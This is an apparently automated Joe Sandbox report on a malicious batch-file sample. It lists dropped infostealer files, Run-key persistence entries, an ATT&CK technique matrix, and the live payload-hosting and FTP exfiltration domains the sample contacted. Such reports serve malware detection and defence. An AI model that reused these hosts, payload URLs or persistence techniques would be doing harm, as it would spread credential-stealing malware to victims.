Source: Yara match	File source: 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Valid Accounts	121 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 System Network Connections Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Valid Accounts	1 Access Token Manipulation	2 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	311 Process Injection	3 Software Packing	NTDS	47 System Information Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	1 Query Registry	SSH	1 Clipboard Data	123 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	361 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Masquerading	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	151 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	311 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z1Transaction_ID_REF2418_cmd.bat	24%	ReversingLabs	Win32.Trojan.Malcab

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\Cllyjbrx.PIF	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\Public\Libraries\xrbjyllC.pif	3%	ReversingLabs
C:\Users\Public\alpha.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\x.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	3%	ReversingLabs

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
himalayastrek.com	50.116.93.185	true	true	unknown
api.ipify.org	172.67.74.152	true	true	unknown
ftp.haliza.com.my	110.4.45.197	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	true	URL Reputation: safe	unknown
https://himalayastrek.com/origins/233_Cllyjbrxmng	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org	xrbjyllC.pif, 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1885700149.0000000029C91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.0000000022711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	xrbjyllC.pif, 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.haliza.com.my	xrbjyllC.pif, 00000009.00000002.1885700149.0000000029D6E000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026FED000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.00000000227AD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.sectigo.com0	x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://himalayastrek.com/origins/233_CllyjbrxmngHA	Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000061C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://himalayastrek.com/-	x.exe, 00000003.00000002.1721962152.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://himalayastrek.com/origins/233_Cllyjbrxmngy	Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000064E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://himalayastrek.com/origins/233_CllyjbrxmngZ	Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000061C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/t	xrbjyllC.pif, 00000009.00000002.1885700149.0000000029C91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.0000000022711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://himalayastrek.com:443/origins/233_CllyjbrxmngP	x.exe, 00000003.00000002.1721962152.000000000089F000.00000004.00000020.00020000.00000000.sdmp, Cllyjbrx.PIF, 00000010.00000002.1997779443.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	xrbjyllC.pif, 00000009.00000002.1885700149.0000000029C91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.0000000022711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.pmail.com	x.exe, x.exe, 00000003.00000002.1753574596.0000000021905000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1750879233.0000000020F1D000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1759764048.000000007FE2F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1752975519.0000000021700000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668677681.000000007FBDF000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668442812.0000000003028000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1721962152.00000000008AC000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1723790812.000000000302C000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000000.1719344100.0000000000416000.00000002.00000001.01000000.00000007.sdmp, xrbjyllC.pif, 0000000B.00000000.1826114660.0000000000416000.00000002.00000001.01000000.00000007.sdmp, sgxIb.exe, sgxIb.exe, 0000000D.00000002.1890633912.0000000000416000.00000002.00000001.01000000.0000000C.sdmp, sgxIb.exe, 0000000D.00000000.1888350846.0000000000416000.00000002.00000001.01000000.0000000C.sdmp, xrbjyllC.pif, 00000011.00000002.2937816421.0000000025B6E000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000000.1995988945.0000000000416000.00000002.00000001.01000000.00000007.sdmp, sgxIb.exe, 00000012.00000002.2055006675.0000000000416000.00000002.00000001.01000000.0000000C.sdmp, sgxIb.exe, 00000012.00000000.2054308600.0000000000416000.00000002.00000001.01000000.0000000C.sdmp, sgxIb.exe.9.dr, xrbjyllC.pif.3.dr	false		unknown
http://ocsp.sectigo.com0C	x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	false		unknown
https://himalayastrek.com/	Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000061C000.00000004.00000020.00020000.00000000.sdmp, Cllyjbrx.PIF, 00000010.00000002.1997779443.0000000000848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://himalayastrek.com:443/origins/233_Cllyjbrxmng	Cllyjbrx.PIF, 0000000A.00000002.1827777323.0000000000669000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
50.116.93.185	himalayastrek.com	United States	46606	UNIFIEDLAYER-AS-1US	true
110.4.45.197	ftp.haliza.com.my	Malaysia	46015	EXABYTES-AS-APExaBytesNetworkSdnBhdMY	true
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545203
Start date and time:	2024-10-30 08:34:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	z1Transaction_ID_REF2418_cmd.bat
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winBAT@25/11@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 172 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 52.165.164.15, 13.85.23.206, 4.175.87.197
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: z1Transaction_ID_REF2418_cmd.bat

Simulations

Behavior and APIs

Time	Type	Description
03:34:57	API Interceptor	2x Sleep call for process: x.exe modified
03:35:07	API Interceptor	395508x Sleep call for process: xrbjyllC.pif modified
03:35:10	API Interceptor	2x Sleep call for process: Cllyjbrx.PIF modified
07:35:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Cllyjbrx C:\Users\Public\Cllyjbrx.url
07:35:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sgxIb C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
07:35:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Cllyjbrx C:\Users\Public\Cllyjbrx.url
07:35:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run sgxIb C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
50.116.93.185	z1SWIFT_MT103_Payment_552016_cmd.bat	Get hash	malicious	DBatLoader, FormBook	Browse
50.116.93.185	Order Specifications for Materials.docx.vbs	Get hash	malicious	DBatLoader, FormBook	Browse
110.4.45.197	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	z14Employee_Contract_pdf.exe	Get hash	malicious	AgentTesla	Browse
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla	Browse
	DHL_Shipment_Details_8th_October.pdf.exe	Get hash	malicious	AgentTesla	Browse
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse
	Bank Payment $38,735.exe	Get hash	malicious	AgentTesla	Browse
	rQuotation3200025006.exe	Get hash	malicious	AgentTesla	Browse
	z38PO_20248099-1_pdf.exe	Get hash	malicious	AgentTesla	Browse
	z64MT103_126021720924_pdf.exe	Get hash	malicious	AgentTesla	Browse
172.67.74.152	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
himalayastrek.com	z1SWIFT_MT103_Payment_552016_cmd.bat	Get hash	malicious	DBatLoader, FormBook	Browse	50.116.93.185
himalayastrek.com	Order Specifications for Materials.docx.vbs	Get hash	malicious	DBatLoader, FormBook	Browse	50.116.93.185
bg.microsoft.map.fastly.net	Orden de Compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	199.232.214.172
	PO-004976.xls	Get hash	malicious	Unknown	Browse	199.232.210.172
	Order Pdf.exe	Get hash	malicious	DBatLoader	Browse	199.232.210.172
	https://trvelocity.petra-dee.org/index.php/campaigns/ao946pbrfq631/track-url/lk782m0eyna84/24e9f9ecc31181de7c43e9793836ee263a7fcd94%20%20office365_event_type%20alert	Get hash	malicious	Unknown	Browse	199.232.214.172
	cotizaci#U00f2n.xlam.xlsx	Get hash	malicious	Unknown	Browse	199.232.210.172
	DHL TRACKING.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/creditodigitalelmo.com.br/solo/i2975ufuy18zkhauvhibzzxy/YWRzQGJldHdlZW4udXM=	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://alcatrazpackages.com/elchapo.html	Get hash	malicious	Unknown	Browse	199.232.214.172
	completedfiles.....pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	199.232.214.172
ftp.haliza.com.my	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	110.4.45.197
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	110.4.45.197
	z14Employee_Contract_pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	DHL_Shipment_Details_8th_October.pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	Bank Payment $38,735.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	rQuotation3200025006.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	z38PO_20248099-1_pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	z64MT103_126021720924_pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
api.ipify.org	Purchase Order PO61000016222.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Statement JULY #U007e SEP 2024 USD 19,055.00.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	EVER ABILITY V66 PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	MV. NORDRHONE VSL's PARTICULARS.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	MUM - VESSEL'S PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	INVOICE.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Bill_Of _Lading.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Shipping documents 00029399400059.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EXABYTES-AS-APExaBytesNetworkSdnBhdMY	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	110.4.45.197
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	110.4.45.197
	z14Employee_Contract_pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	na.elf	Get hash	malicious	Mirai	Browse	203.142.6.25
	05NN8zSK04.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.6.198.178
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	103.6.198.219
	DHL_Shipment_Details_8th_October.pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	103.6.198.219
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
UNIFIEDLAYER-AS-1US	z1SWIFT_MT103_Payment_552016_cmd.bat	Get hash	malicious	DBatLoader, FormBook	Browse	50.116.93.185
	Order Specifications for Materials.docx.vbs	Get hash	malicious	DBatLoader, FormBook	Browse	50.116.93.185
	https://mailhotcmhakamloops.wordpress.com/	Get hash	malicious	Unknown	Browse	69.49.230.198
	EVER ABILITY V66 PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.144.157
